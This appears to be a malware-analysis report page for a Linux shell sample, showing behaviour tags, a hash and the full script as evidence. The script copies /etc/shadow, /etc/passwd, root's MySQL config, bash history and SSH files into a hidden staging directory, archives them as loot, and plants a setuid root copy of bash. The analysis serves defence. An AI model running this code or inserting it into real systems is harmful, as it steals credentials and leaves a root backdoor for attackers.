Suspicious 80% linux Download

collection-reconstruction.sh

Makes a copied shell root-owned and setuidCopies a shell command history file
SHA-2561d7d14921b16df01f892034eb4aaef4b8bf0a03228a0d287b0a3f6a477be2567

Evidence

Copies the Unix password hash database lines 1–15
1#!/bin/sh
2# Representative reconstruction of documented collection; not recovered malware.
3set -eu
4stage=/var/tmp/.cpg91511
5mkdir -p "$stage"
6cp /etc/shadow "$stage/shadow"
7cp /etc/passwd "$stage/passwd"
8cp /root/.my.cnf "$stage/my.cnf"
9cp /root/.bash_history "$stage/history"
10cp /root/.ssh/authorized_keys "$stage/authorized_keys"
11cp /root/.ssh/known_hosts "$stage/known_hosts"
12tar -czf "$stage/loot.tgz" -C "$stage" shadow passwd my.cnf history authorized_keys known_hosts
13cp /bin/bash /var/tmp/.cpg91511_sh
14chown root:root /var/tmp/.cpg91511_sh
15chmod 4755 /var/tmp/.cpg91511_sh

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.